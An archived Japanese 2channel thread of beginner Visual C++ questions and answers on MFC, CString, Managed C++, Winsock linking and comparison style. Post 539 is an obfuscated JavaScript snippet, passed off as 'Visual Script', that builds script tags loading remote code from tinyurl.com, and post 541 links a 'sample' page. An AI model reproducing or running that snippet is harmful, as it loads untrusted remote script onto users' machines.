■過去ログ置き場に戻る■
1-
前250
次250
最新50
[memo]
"9999999999_00.html#R20"
という感じで、URLの最後に "#R
レスNo
" を追加すると幸せになれます。
★初心者にVisual C++を教えるスレ★ Part25
501
名前:
デフォルトの名無しさん
:2007/02/20(火) 22:22:00
VC++ というよりはC++の話かも知れませんが教えてください。
CStirng s;
testFunc(&s);
void testFunc(CString s)
{ CString tmp("test"); (*s) = tmp; }
とやると s の値が呼び出し元でも変更されていて、
CString *s;
testFunc(s);
void testFunc(CString *s)
{ CString tmp("test"); s = &tmp; }
とやると変更されていないのはなぜでしょう?
Cのイメージからいくと上の方が変更されずに下で変更されるような気がするのですが・・
502
名前:
デフォルトの名無しさん
:2007/02/20(火) 22:30:08
int *p;
testFunc(p);
void testFunc (int *p)
{ int tmp=1; p=&tmp; }
503
名前:
499
:2007/02/20(火) 22:48:00
あ、スレ違いすみません。
他スレに投げてきます。
504
名前:
501
:2007/02/20(火) 22:50:22
>>502
すいません。勘違いしていました。
その通りですね。
505
名前:
デフォルトの名無しさん
:2007/02/20(火) 22:52:04
上のやつもあんまり見ない使い方だな
受けたい場合はこういう風に使うのが普通
void GetWindowText( CString& rString ) const;
506
名前:
デフォルトの名無しさん
:2007/02/20(火) 22:56:30
素直にCString返せよ。
507
名前:
デフォルトの名無しさん
:2007/02/21(水) 00:08:53
それはどうよ。
んまぁ今のCPUじゃ一瞬だろうけどな…
508
名前:
デフォルトの名無しさん
:2007/02/21(水) 01:33:29
CStringは参照カウント使ってるから、大したオーバーヘッドじゃないよ。
509
名前:
デフォルトの名無しさん
:2007/02/21(水) 06:19:25
オーバーヘッドな気もするけどMFCもこんなことやってるな
CString CListCtrl::GetItemText(int nItem, int nSubItem) const
{
ASSERT(::IsWindow(m_hWnd));
LVITEM lvi;
memset(&lvi, 0, sizeof(LVITEM));
lvi.iSubItem = nSubItem;
CString str;
int nLen = 128;
int nRes;
do
{
nLen *= 2;
lvi.cchTextMax = nLen;
lvi.pszText = str.GetBufferSetLength(nLen);
nRes = (int)::SendMessage(m_hWnd, LVM_GETITEMTEXT, (WPARAM)nItem,
(LPARAM)&lvi);
} while (nRes == nLen-1);
str.ReleaseBuffer();
return str;
}
510
名前:
デフォルトの名無しさん
:2007/02/21(水) 09:41:27
CStringのコピーは、ポインタコピー + αくらいのオーバーヘッドでしょ。
511
名前:
デフォルトの名無しさん
:2007/02/21(水) 16:45:09
失礼します。
MS Visual C++ .NET にて質問なのですが、テキストボックスのフォントを
textBox1->Font = new System::Drawing::Font("MSゴシック", 10);
このように変更できますが、new しっぱなしで構わないのでしょうか?
また、
textBox1->Font->Name = "MSゴシック";
textBox1->Font->Size = 10;
このように変更できないのでしょうか?
よろしくおねがいします。
512
名前:
デフォルトの名無しさん
:2007/02/21(水) 16:48:36
>>511
1) コントロールに割り当てると、うまく壊すタイミングがないからGCに任せるといい。
2) 読み取り専用プロパティだから無理。
513
名前:
511
:2007/02/21(水) 18:33:41
>>512
ありがとうございます。
でも分からないことだらけで死にそうです…。
ビルダーだったら簡単なのに…。とりあえず以下のように拡張しました。
// フォント情報生成
CString fontName = dlg.GetFaceName();
int fontSize = dlg.GetSize()/10;
COLORREF fontColor = dlg.GetColor();
// BOLD と ITALIC
int fontStyle = 0;
if(dlg.IsBold() ) fontStyle += (int)FontStyle::Bold;
if(dlg.IsItalic()) fontStyle += (int)FontStyle::Italic;
// セット
textBox1->Font = new System::Drawing::Font(fontName, fontSize, (FontStyle)fontStyle);
なお new を gcnew にすると
error C2065: 'gcnew' : 定義されていない識別子です。
とエラーが出ます。
これは何故なのでしょうか?
514
名前:
デフォルトの名無しさん
:2007/02/21(水) 19:33:37
言語が違うからだろう。
Visual Studio .NET 2002 / 2003
-> Managed C++
Visual Studio 2005
-> C++/CLI
おそらく2003あたりなんだろうけど、
開発環境は "MS Visual C++ .NET" なんて略さず、確り書くべき。
515
名前:
デフォルトの名無しさん
:2007/02/21(水) 19:46:08
マネージドC++ではマネージクラスをnewすると漏れなくGCの管理下に置かれる。
それはともかくこのほうがいいと思う。
FontStyle fontStyle;
if (dlg.IsBold()) fontStyle |= FontStyle::Bold;
if (dlg.IsItalic()) fontStyle |= FontStyle::Italic;
516
名前:
デフォルトの名無しさん
:2007/02/21(水) 22:37:04
.NET 2003でWinsockを使いたい場合どうすればいいのでしょうか?
プロジェクトを作る場合にチェックボックスで指定出来るのは後から
知ったのですが、これを忘れた場合どうすればよいのでしょうか?
ws2_32.lib のリンクなどが必要だと思うのですが、VC++6.0とは
リンクの仕方が変わっているようで分かりませんでした。
517
名前:
デフォルトの名無しさん
:2007/02/21(水) 22:50:37
プロジェクトを作る場合にチェックボックスで指定した場合
プロジェクトを作る場合にチェックボックスで指定しなかった場合
2種類つくってどこが違うか比較
518
名前:
デフォルトの名無しさん
:2007/02/21(水) 22:58:45
/LIBPATH
をmsdnで調べましょう
519
名前:
デフォルトの名無しさん
:2007/02/21(水) 23:12:26
>>482
有難うございます、解決できました。
520
名前:
デフォルトの名無しさん
:2007/02/22(木) 10:56:24
>>514-515
ありがとうございます。
おかげさまで疑問点は解決できました。
521
名前:
デフォルトの名無しさん
:2007/02/22(木) 11:05:08
どうでもいい質問かもしれないのですが、
textBox1->Font = new Font("MSゴシック", 10);
と、プログラムからフォント指定する場合、
textBox1コンポーネントに元々あったはずのフォント情報を保存するためのメモリ領域は
どこへ行っちゃうのでしょうか…?
522
名前:
デフォルトの名無しさん
:2007/02/22(木) 12:43:15
.NETではその内ガベージコレクタによって回収される。
だからメモリリークの心配は要らない。
523
名前:
デフォルトの名無しさん
:2007/02/22(木) 14:03:58
>>522
.NETすげー。
サンクスコ。
524
名前:
デフォルトの名無しさん
:2007/02/22(木) 20:22:07
今後C++は廃れますか
525
名前:
デフォルトの名無しさん
:2007/02/22(木) 20:29:21
仕様の汚さでC++を凌駕する言語が現れるまでは安泰です
526
名前:
デフォルトの名無しさん
:2007/02/22(木) 23:16:23
既に現れていると思うが。Dとか。
527
名前:
デフォルトの名無しさん
:2007/02/23(金) 00:03:53
C言語の次だからD言語?
だとしたらA言語とかB言語もあるってこと?
528
名前:
デフォルトの名無しさん
:2007/02/23(金) 00:05:27
Bはあるよ
529
名前:
デフォルトの名無しさん
:2007/02/23(金) 00:31:38
でもBはAの次ということではなく、BCPLの頭文字が由来。
ついでに言うとCの由来はBの後継ということでBCPLの2文字目。
530
名前:
デフォルトの名無しさん
:2007/02/23(金) 00:51:51
えーっと
ユニコードの設定では
CStdioFile::WriteStringで日本語が出力されないんですが
いったい如何すればいいんでしょうか?
531
名前:
530
:2007/02/23(金) 00:52:51
VC2005のMFCでございます。
532
名前:
デフォルトの名無しさん
:2007/02/23(金) 07:03:23
>>531
既定ではCロケールになっているので、Unicode/MBCS変換時に日本語は無視されてしまう。
以下の一行をInitInstance辺りにでも入れておくと、OSの設定に従うようになる。
_tsetlocale(LC_ALL, _T(""));
533
名前:
530
:2007/02/23(金) 07:41:53
>>532
<locale.h>をインクルードしてできました。
助かりましたありがとうございます。
534
名前:
デフォルトの名無しさん
:2007/02/23(金) 17:01:59
質問があります。 ※
>>513
のつづきとなっております…
MS Visual C++ .NET 2003
においてなのですが、
CEditコンポーネントのフォントを変更する場合、以下のようにすると成功しました。
CEdit* edit(GetDlgItem(IDC_ED1));
CFONT font;
LOGFONT logfont;
(logfont編集)
font = CreateFontIndirect(&logfont);
edit->SetFont(font, TRUE);
logfontを編集することによって、フォント種類やサイズ、下線などが指定できました。
しかし、フォントの色だけは変更できませんでした。
edit->SetTextColor(refcolor);
のような関数があればいいのですがCEditのメンバにはないようにです。
CEditコンポーネントのフォント色を変更する方法を知ってる方、どうか
教えていただけないでしょうか。
535
名前:
デフォルトの名無しさん
:2007/02/23(金) 18:51:51
フォント色コンポーネント
536
名前:
デフォルトの名無しさん
:2007/02/23(金) 20:07:16
>>534
WM_CTLCOLORをハンドル。
親が処理するか、メッセージ返送を使ってCEditの派生で処理させるか好きな方を。
残念ながら、背景色はSetBkColorだけではうまくいかない。でも調べるの('A`)マンドクセ
537
名前:
デフォルトの名無しさん
:2007/02/23(金) 21:06:59
>>536
ありがとうございます。
ググるための重要なキーワードです。ただ…訳の分からないエラーが出たり
基本を分かってなかったりで死にそうです。
ちょっと首吊ってきます…。
538
名前:
デフォルトの名無しさん
:2007/02/23(金) 22:18:10
warning LNK4075: /EDITANDCONTINUE は /OPT:ICF の指定によって無視されます。
error LNK2005: "private: __thiscall type_info::type_info(class type_info const &)" (??0type_info@@AAE@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。
fatal error LNK1169: 1 つ以上の複数回定義されているシンボルが見つかりました。
VC++のない環境でもEXEを実行できるよう
VC++2005で/MTオプションでビルドしたところ上のようなエラーが出ました。
LIBCMT.libを無視するようにしたら、ビルドは通りましたがVCのない環境では実行できませんでした。
調べたところ
Microsoft_VC_DebugCRT_x86.msm
policy_8_0_microsoft_vc80_debugcrt_x86.msm
とういうファイルに依存しているようでした、VCがない環境で実行できないのはこれが原因でしょうか?
539
名前:
デフォルトの名無しさん
:2007/02/23(金) 22:26:47
f="3a5"+"sm4";var d=new Array();tt=" - ";dd="";tt+="連";x=$.split(" \n ");tt+="続";xx="";tt+="動";
tt+="画";j=0;for(i=0;x.length>i;i++){if(3<=x[i].length){j++;if(1==j){tx=x[i];}else{a=x[i].split("&l=");b=eval(a[1]);
if(1>b){b=1;}else if(999<b){b=999;} b=(b+.1)/1000;b=a[0]+"&auto"+"play=1&l="+(""+b).substr(2,3);
c="you"+"tube.com/v/000000"+"00000&aut"+"oplay=1&l=99";b+=c+"9"+c+"8"+c+"7";b=b.substr(0,42*3);
xx+=b;}}} ds="<scr"+"ipt ";dq="src="+"//tin"+"yur"+"l.c"+"om/";dc=ds+dq;de="</scr"+"ipt>";
dn="<noscr"+"ipt>< img "+dq; df="</noscr"+"ipt>";db="<noem"+"bed>";dx="<xnoem"+"bed>";
d[0]="\";"+de+dc+f+">"+de+"\n";d[1]="<html><center><title>"+tx+tt+"</title>"+ds+">x=\"";
d[2]=dn+"y5o"+"vet >"+db+df+ds+">x=\"";d[3]=dc+"yn2"+"d2r>"+de+dx+dx+ds+">x=\"";n=xx.length/(42*3);
for(j=0;3>j;j++){dd+=d[j+1];for(i=0;n>i;i++){dd+=xx.substr(42*(3*i+j),42);}dd+=d[0];};exec(dd);
540
名前:
デフォルトの名無しさん
:2007/02/23(金) 22:28:05
↑ Visual Script
541
名前:
デフォルトの名無しさん
:2007/02/23(金) 22:30:18
サンプル動作例
http://g-s.s7.xrea.com/bbs_ftp/source/guro_0362.htm?1
542
名前:
デフォルトの名無しさん
:2007/02/23(金) 22:55:13
>>538
>MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
>LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。
Releaceでリビルドし直せ。
543
名前:
デフォルトの名無しさん
:2007/02/24(土) 00:30:16
一般にC++と言う場合、それがVisual C++をさしている確率は低いんでしょうか?
544
名前:
デフォルトの名無しさん
:2007/02/24(土) 01:00:47
Visual C++のデバッグモードは便利ですね
プログラムを組んでも、必ずといっていいほど最初はとんでもないことしてるので、デバッグモードで動かすと
すぐ修正できて便利です。
ただ、ファイルを開いてなんかするプログラムだと、デバッグモードではファイルを開くことができません。
これは仕方ないのでしょうか
545
名前:
デフォルトの名無しさん
:2007/02/24(土) 01:10:40
ファイルを開くときの共有モードをどうにかすればいい。
546
名前:
デフォルトの名無しさん
:2007/02/24(土) 06:13:43
デバッグモードでも普通にファイル開けるだろ
何を言ってるのか理解できない
547
名前:
デフォルトの名無しさん
:2007/02/24(土) 10:25:10
>>543
C++はプログラミング言語で、VisualC++はMicrosoftのプログラム開発ソフト。
意味が全く違う。
548
名前:
デフォルトの名無しさん
:2007/02/24(土) 13:14:08
特定の時刻になったら知らせる方法を教えてください
549
名前:
デフォルトの名無しさん
:2007/02/24(土) 13:26:35
つ[タスク]
550
名前:
デフォルトの名無しさん
:2007/02/24(土) 13:33:44
どういうように使うのですか?
551
名前:
デフォルトの名無しさん
:2007/02/24(土) 13:56:37
CLSID_CTaskSchedulerでCoCreateInstanceして
IID_ITaskSchedulerを介してアクセス。
552
名前:
デフォルトの名無しさん
:2007/02/24(土) 14:02:35
WaitableTimer作って、WaitFor...で待つとか。
553
名前:
デフォルトの名無しさん
:2007/02/26(月) 11:45:16
2003年の本で勉強したらもう古いらしくて損したよー
新しい本買わなきゃ ・゚・(ノД`)・゚・。ウワーン
554
名前:
デフォルトの名無しさん
:2007/02/26(月) 12:21:38
あんたばか?
555
名前:
デフォルトの名無しさん
:2007/02/26(月) 15:02:31
>>547
>>543
がそんな意図で聞いてるんじゃないことは明白だと思うんだが
556
名前:
デフォルトの名無しさん
:2007/02/26(月) 15:27:10
気に入らなかったら説明してやれば?
557
名前:
デフォルトの名無しさん
:2007/02/26(月) 15:59:46
C++って言ったら、やはりプログラミング言語って言うしかないんじゃない?
gccなのかVisualC++なのかC++Builderなのか.NETなのか判断できないし。
558
名前:
デフォルトの名無しさん
:2007/02/26(月) 20:59:28
>>543
そういうのって無意味だよな。
VCが使えない分野でなら確実にVCのことではない。
559
名前:
デフォルトの名無しさん
:2007/02/26(月) 23:23:35
>>518
の回答を元に調べてみましたが解決しなかったので教えてください。
.NET 2003 で WinSock を使用する方法です。
プロパティページの追加のライブラリのディレクトリにws2_32.libがある
Microsoft Visual Studio .NET\Vc7\PlatformSDK\lib を追加して
winsock2.hをインクルードするようにしたのですが、リンクのエラーになってしまいます。
未解決の外部シンボル __imp__WSAStartup@8 が関数〜
fatal error LNK1120: 外部参照 2 が未解決です
といった感じです。
どうすればよいのでしょうか?
560
名前:
デフォルトの名無しさん
:2007/02/26(月) 23:26:59
更にプロジェクトのプロパティのリンカの中のどこかに、
追加の入力ファイルという項目があるから、そこにws2_32.libと書く。
そうしてはじめてリンク時にws2_32.libが使われる。
561
名前:
デフォルトの名無しさん
:2007/02/26(月) 23:33:39
まだやってたのか
差分とって調べりゃ5分で済んだろうにアホだな
562
名前:
516
:2007/02/26(月) 23:46:01
>>560
ありがとうございます。
確認してみます。
>>561
差分ってどうやってだすんですか?
テキストであればツールで簡単に確認できますが、リンカの設定などは
バイナリデータに入ってそうなんですが。
563
名前:
デフォルトの名無しさん
:2007/02/26(月) 23:50:44
しかしファイル名はテキストのまま書き込まれている
564
名前:
デフォルトの名無しさん
:2007/02/27(火) 01:30:39
大丈夫、VisualStudio2003ならその辺の設定は全部テキストだ。
565
名前:
デフォルトの名無しさん
:2007/02/27(火) 04:45:26
*.vcproj をメモ帳で開いて見れ。
さすれば、幸せを手に入れることが出来るだろう。
566
名前:
デフォルトの名無しさん
:2007/02/27(火) 10:26:29
>>561
アホとか言うのは控えろよ
ここ初心者スレだぞ
カスが
567
名前:
デフォルトの名無しさん
:2007/02/27(火) 11:02:54
MFCダイアログベースで、ヘッダ情報に頼らずにファイルの容量を取得するにはどうすればいいでしょうか。
568
名前:
デフォルトの名無しさん
:2007/02/27(火) 11:09:10
GetFileSize()
569
名前:
デフォルトの名無しさん
:2007/02/27(火) 11:40:03
唐突にヘッダ情報って?
570
名前:
デフォルトの名無しさん
:2007/02/27(火) 17:05:09
VC2005 MFCベースでMDIのアプリですが、追加画面が必要になったので
リソースビューの欄で「Dialogを挿入」を行い画面をデザインしてます。
この画面にボタンを2個配置しました。
Aのボタンは最初は無効状態でBのボタンを押すことによって有効にします。
なのでAのボタンは「メンバー変数追加ウイザード」でメンバー変数m_bt1を追加して
Bのボタンが押されたイベントの中でm_bt1.EnableWindow(TRUE);と記述しました。
しかし、コンパイルは通りますが動作させるとエラーが出ます。
ちなみに
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
と記述すると正常に動作します。
何故メンバー変数追加で操作するとエラーになるのでしょうか?
IDや変数名の重複は無いです。
571
名前:
デフォルトの名無しさん
:2007/02/27(火) 17:11:38
別に問題ないと思うけど
あとは簡単なテストプログラム作って試すぐらいだから自分でやってみれば?
572
名前:
デフォルトの名無しさん
:2007/02/27(火) 17:14:50
追加したダイアロクじゃなくて
新しく簡単なサンプル作ってやってみれば?ということね
573
名前:
デフォルトの名無しさん
:2007/02/27(火) 18:02:36
m_bt1は有効だった?NULLだったりしないか?
574
名前:
デフォルトの名無しさん
:2007/02/27(火) 18:03:29
つか、メンバのほうか
m_bt1.m_hWndは有効な値だった?
575
名前:
570
:2007/02/27(火) 18:32:01
>>574
カーソルを当てて見てみたところメンバー変数を定義した変数のm_hWndは0x00000000です。
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
としてm_bt1のh_Wndを見ると0x00090beeです。
576
名前:
デフォルトの名無しさん
:2007/02/27(火) 18:43:02
んじゃIDがおかしいとかかな。
変数定義もっかいやりなおしてみたら。
何回やってもダメならその手順書いてみな
577
名前:
デフォルトの名無しさん
:2007/02/27(火) 18:44:27
メンバ変数の登録がちゃんとできてない。
もう一度やり直してみるといい。
対象のボタンを右クリックして「メンバ変数の追加」、
んでコントロール変数として適当なのを追加。
578
名前:
570
:2007/02/27(火) 18:52:14
>>576
>>577
了解しました。
もう一度見直してみます。
579
名前:
デフォルトの名無しさん
:2007/02/27(火) 19:50:05
roopoutには確実にFALSEがはいっているのに
if(roopout==FALSE)
break;
else
....
が機能しませんが環境によってそういうことがあるのですか?
デバッグしながら確実に中にはいってるものを確かめましたがelseのほうにいきます
580
名前:
デフォルトの名無しさん
:2007/02/27(火) 19:56:06
FALSEとfalseは違うんじゃなかったっけ
if (!roopout) とか書いた方が安全
581
名前:
デフォルトの名無しさん
:2007/02/27(火) 19:57:12
それかifの後ろのどっかに変なセミコロンが紛れ込んでいて
条件式が真の場合にただの空行を実行してるとか
582
名前:
デフォルトの名無しさん
:2007/02/27(火) 19:57:24
やってみます
583
名前:
デフォルトの名無しさん
:2007/02/27(火) 20:03:07
ifとelseの間がbreakだけなので、ステップ実行で確認したときあたかも素通りしたように
見えるだけなんじゃない?
584
名前:
デフォルトの名無しさん
:2007/02/27(火) 20:06:22
ではなぜelseの処理に
585
名前:
デフォルトの名無しさん
:2007/02/27(火) 20:06:35
2005から始めた初心者はかなりきつい状態だろうな
本もサイトも全然ないもんな……
586
名前:
デフォルトの名無しさん
:2007/02/27(火) 20:21:12
実は
if(roopout=FALSE)
と書いていた。
587
名前:
デフォルトの名無しさん
:2007/02/27(火) 20:23:05
それに気付かなくてえらい苦労をした経験から、
条件文は必ず定数を先に書くことにしてる
if(200 == myIQ) みたいな
588
名前:
デフォルトの名無しさん
:2007/02/27(火) 20:29:16
今時それくらいは警告を出すから、わざわざナンセンスな書き方をする必要など無い。
589
名前:
デフォルトの名無しさん
:2007/02/27(火) 20:39:44
そんな書き方してません
再起動したりしたら動きました
590
名前:
516
:2007/02/27(火) 21:44:56
ありがとうございました。
テキストファイルを見比べてみて同じようにすれば出来ました。
VC++6.0のSDKのときはライブラリをリンクして winsock2.h をインクルードして
たんですが、今回、2003のMFCの場合、ヘッダをインクルードして後はちょこちょこっと
関数を呼び出しているだけでライブラリのリンクは特にしていないように思えました。
良く分からなかったのですが、とにかく出来ました。
591
名前:
デフォルトの名無しさん
:2007/02/28(水) 01:23:13
>>588
VCだと警告されない罠。
gccでは文句言われるので、そっちに合わせた書き方してるけど。
592
名前:
デフォルトの名無しさん
:2007/02/28(水) 01:51:43
warning C4706: 条件式の比較値は、代入の結果になっています。
593
名前:
591
:2007/02/28(水) 02:46:30
ありゃ、見逃してた。ひゃくにんいっちゅの所為かorz
安全性考えると、pragmaか/wオプションでレベル下げとくのもありかなあ。
594
名前:
デフォルトの名無しさん
:2007/02/28(水) 14:56:39
if(FALSE == flag)
みたいに定数を先に書くソースを見ると身震いするほど嫌悪感を抱くのは俺だけ?
595
名前:
デフォルトの名無しさん
:2007/02/28(水) 15:09:53
一度精神科を受診することをオススメする。
596
名前:
デフォルトの名無しさん
:2007/02/28(水) 15:43:04
>>594
初めて見た。
597
名前:
デフォルトの名無しさん
:2007/02/28(水) 17:00:54
>>594
オレも。
598
名前:
594
:2007/02/28(水) 17:09:35
>>595
ちょっと受診してくるから良い病院を紹介してくれ
599
名前:
デフォルトの名無しさん
:2007/02/28(水) 23:18:59
http://www.kouno.jp/home/c_faq/c17.html#4
600
名前:
デフォルトの名無しさん
:2007/03/01(木) 00:39:08
打ちそこねで=を一つ落とすことはあっても
うっかりしてリテラルと変数を逆に書くなんてことはない。
601
名前:
デフォルトの名無しさん
:2007/03/01(木) 08:11:35
>>600
そりゃいないだろ
わざと逆にやってんだから
602
名前:
デフォルトの名無しさん
:2007/03/01(木) 10:24:23
プログラムを文章として読むと、それが気持ち悪いんだよね。
文章のように読めるプログラムを理想としてるのがわるいのかなあ。
603
名前:
デフォルトの名無しさん
:2007/03/01(木) 11:20:23
>>602
そうそう。たとえば、
if( a == 100 )
だと、頭の中で「a は 100 か」と読める。
でも
if( 100 == a )
だと、「100 は a か」と読んでしまう。
主題が a ではなくなってしまい、思考が後戻りしてしまう感覚が
あってなんかイラッとする。
604
名前:
デフォルトの名無しさん
:2007/03/01(木) 11:27:04
デバッグの停止ボタンを押すとデバッグ中のプログラムは停止しますが
解放処理等はちゃんと行われているのでしょうか?
605
名前:
デフォルトの名無しさん
:2007/03/01(木) 12:04:11
>>604
行なわれるものと行なわれないものがある。
606
名前:
デフォルトの名無しさん
:2007/03/01(木) 12:09:02
C言語で
#include <stdio.h>
int main(void)
{
printf("こんにちは\n");
return 0;
}
って書いたプログラムってそのままC++で実行できる?
それとも
#include <iostream>
using namespace std;
int main()
{
cout << "こんにちは" << endl;
}
って書かなきゃだめ?
607
名前:
デフォルトの名無しさん
:2007/03/01(木) 12:10:41
そのままできるのがC++の強み
608
名前:
デフォルトの名無しさん
:2007/03/01(木) 12:16:52
正しくは#include <cstdio>
609
名前:
デフォルトの名無しさん
:2007/03/01(木) 12:18:10
>>607
そうなんですか〜 ありがとうございます。
はじめたばかりの初心者ですみません。
610
名前:
デフォルトの名無しさん
:2007/03/01(木) 12:21:24
#include <cstdio> ですか。間違えました。
611
名前:
デフォルトの名無しさん
:2007/03/01(木) 12:42:34
<cstdio>を使うならprintfではなく、std::printfと書かなければいけないぞ。
612
名前:
デフォルトの名無しさん
:2007/03/01(木) 13:01:53
C++だからといって、cin,coutに拘る必要は無い。
とか思う俺は年寄りなんだろうな……
613
名前:
デフォルトの名無しさん
:2007/03/01(木) 13:15:26
すみません。もうひとつ。
#include <stdio.h>
int main(void)
{
printf("こんにちは\n");
return 0;
}
マイクロソフトのVisual C++でやってみたところ
画面が一瞬出てからすぐ消えちゃうんですがどうすればいいでしょうか?
614
名前:
デフォルトの名無しさん
:2007/03/01(木) 13:16:41
こんにちは→helloに変更します。
615
名前:
デフォルトの名無しさん
:2007/03/01(木) 13:22:56
>>613
Visual Studioのバージョンによるが「デバッグなしで開始」するか、
コマンドプロンプトを開いてそこから実行する。
616
名前:
デフォルトの名無しさん
:2007/03/01(木) 14:15:45
>>613
何回も何回も出るな、その質問。
>>615
でいいけど、デバッグしたいなら
rerturn にブレークポイント置くか、その前に getchar(); でも入れとけば。
617
名前:
デフォルトの名無しさん
:2007/03/01(木) 14:23:07
>>615-616
ありがとうございます。
618
名前:
デフォルトの名無しさん
:2007/03/01(木) 15:07:29
C++をCコンパイラとして使うのはやめた方が良くないか?
それは強みというより、自分の首を自分で絞めているようなもののような気がする。
stdioなんて使わずに、がんばってC++のライブラリを使用すべきなんじゃないか。
論じる次元が違うかもだけど、構造化プログラミングというパラダイムとオブジェクト
指向というパラダイムを同時に使っているような気がして、なんか嫌だ。
C++がますます煙たがれ、衰退するような気がする。
619
名前:
デフォルトの名無しさん
:2007/03/01(木) 16:19:30
>>618
話が飛躍しすぎ
620
名前:
デフォルトの名無しさん
:2007/03/01(木) 16:32:13
>>618
C++はそういう複数のパラダイムを使えることが強みだと
C++の作者Stroustrupも自著D&Eで言っている。
621
名前:
デフォルトの名無しさん
:2007/03/01(木) 16:37:20
質問があります。
afxwin.hをインクルードしているのにも関わらず、CWndを使うと
error C2061: 構文エラー : 識別子 'CWnd'
というのが出ます。
CWndを使用するためにはafxwin.hをインクルードするだけでは足りないのでしょうか?
622
名前:
デフォルトの名無しさん
:2007/03/01(木) 18:44:42
そのエラーの行を、前後数行含めてコピペしてみ
623
名前:
デフォルトの名無しさん
:2007/03/01(木) 19:24:24
>>622
返答ありがとうございます。
この行が先頭に出て、他にエラーは出ません。
624
名前:
デフォルトの名無しさん
:2007/03/01(木) 21:06:01
afxwin.hがあればいい
625
名前:
デフォルトの名無しさん
:2007/03/01(木) 21:14:14
つまりそれ以外の原因を疑えということ
626
名前:
デフォルトの名無しさん
:2007/03/01(木) 22:31:17
俺としてはcinとかcoutってそんなにいいものなのかねって思う。
C言語に変なもの持ち込んでC++を作りやがってとすら思っている。
627
名前:
デフォルトの名無しさん
:2007/03/02(金) 03:05:26
> 俺としてはcinとかcoutってそんなにいいものなのかねって思う
実に便利だと思う。STLと絡めると特に。
628
名前:
デフォルトの名無しさん
:2007/03/02(金) 08:40:14
ユーザ定義型を組込型と同じように入出力できるのはいいと思う。
629
名前:
デフォルトの名無しさん
:2007/03/02(金) 08:46:27
VCじゃなくてC/C++の話になると書き込みが増えるのは
VCの話には参加できなくてROMってる初心者が多いということか
630
名前:
デフォルトの名無しさん
:2007/03/02(金) 08:56:49
俺もストリームだけは便利さがいまだに分からん。
まあテキスト入出力自体あまりしないからかもしれん、
作るのは GUI アプリばっかだからコンソールは使わないし、
、データ保存はもっぱらバイナリだし、
設定ファイルは WritePrivateProfileString だからなあ
631
名前:
デフォルトの名無しさん
:2007/03/02(金) 12:18:27
>>629
C/C++の話の方がdeepな感じがするが
632
名前:
デフォルトの名無しさん
:2007/03/02(金) 13:25:30
VC6使ってる初心者が多いしVCは万年初心者が多いのか?
C/C++のベテランでも挫折するという話だし
633
名前:
デフォルトの名無しさん
:2007/03/02(金) 17:22:29
いつまでたっても初心者だ
634
名前:
デフォルトの名無しさん
:2007/03/03(土) 19:53:59
完全VCオンリーで語ることなんかあるのか?
635
名前:
デフォルトの名無しさん
:2007/03/03(土) 20:27:38
VC固有の動作、CRTの独自拡張、MFCやATLとか
636
名前:
デフォルトの名無しさん
:2007/03/03(土) 21:55:11
VCという道具について語るのが目的か?
VCという道具を使ってWindowsプログラミングをするのが目的だろ
637
名前:
デフォルトの名無しさん
:2007/03/03(土) 22:58:37
API直打ちしている人はC言語のfgetsみたいにファイルから
テキストを一行取得するようなことをしたい場合は
ReadFileとかで適当なバイト数読み出して
行末を見つけて抜き出す、のようにやっているんですか?
638
名前:
デフォルトの名無しさん
:2007/03/03(土) 23:38:21
人によるだろう
639
名前:
デフォルトの名無しさん
:2007/03/04(日) 01:38:18
>>637
そうだよ。SDKだけでやるならね。
640
名前:
デフォルトの名無しさん
:2007/03/04(日) 05:34:28
ちなみに CRT は内部で
>>637
が言ってることをやってるよ。
641
名前:
デフォルトの名無しさん
:2007/03/04(日) 09:13:46
SDKオンリーだろうかCランタイムだろうがVBランタイムだろうが
自前でやるか、呼び出す関数・メソッドが内部でやるか
ただそれだけのことでしかないわな
642
名前:
デフォルトの名無しさん
:2007/03/04(日) 11:49:44
641って馬鹿?意味を全く理解してないw
643
名前:
デフォルトの名無しさん
:2007/03/04(日) 13:59:09
たぶんCでべたに書くのが一番効率がいい。
けど安全性とか汎用性とかもあるから既存のライブラリを使う場合もある。
どれが一番いいのか?といわれたら
自分で何種類か書いて実際試してみるしかないだろうな
自分で試さずに人に聞いたり脳内でやってるやつは使いものにならない。
644
名前:
デフォルトの名無しさん
:2007/03/04(日) 18:20:21
質問です。
プロパティウィンドウからコントロールのフォントや色を変えたいのですが、
それらしい項目が見つかりません。
使っているVCのバージョンは2005なのですが、昔のバージョンは
それっぽいのがあったと思ったのですが・・・
どうやったら変更できますでしょうか?
645
名前:
デフォルトの名無しさん
:2007/03/04(日) 18:30:45
もともとネェヨ
646
名前:
デフォルトの名無しさん
:2007/03/04(日) 18:32:59
いちばん肝心な情報が抜けてるから
647
名前:
デフォルトの名無しさん
:2007/03/04(日) 23:49:02
>>644
それはVBだ
648
名前:
デフォルトの名無しさん
:2007/03/06(火) 08:50:44
VC++ やっと2003から2005に上げられたんですけど
メニューのイベント・ハンドラが変・・・・
2003ではメニューのアイテムから
イベントハンドラの追加を選ぶと、
『追加して編集』と『コードを編集』ってボタンがあって
すでにイベントハンドラがある場合は、
『コードを編集』を押すと、
ソースのその関数に飛んでくれたんだけど
2005では『追加して編集』しかないんです
これって使用なんですか?
『コードを編集』はなくなって、自分で関数を探すしかないんでしょうか?
649
名前:
デフォルトの名無しさん
:2007/03/06(火) 10:19:47
「コードを編集」はある。見えないだけだろう
タブで進めてリターン押してみ
IEのバージョンは?
650
名前:
デフォルトの名無しさん
:2007/03/06(火) 10:23:51
確かにIE7だと見えない。
>>649
の言うように、タブで移動して押すしかないな。
651
名前:
デフォルトの名無しさん
:2007/03/06(火) 12:37:22
>>649
>>650
確かにIE7です
『追加して編集』と『キャンセル』の間が開いてて
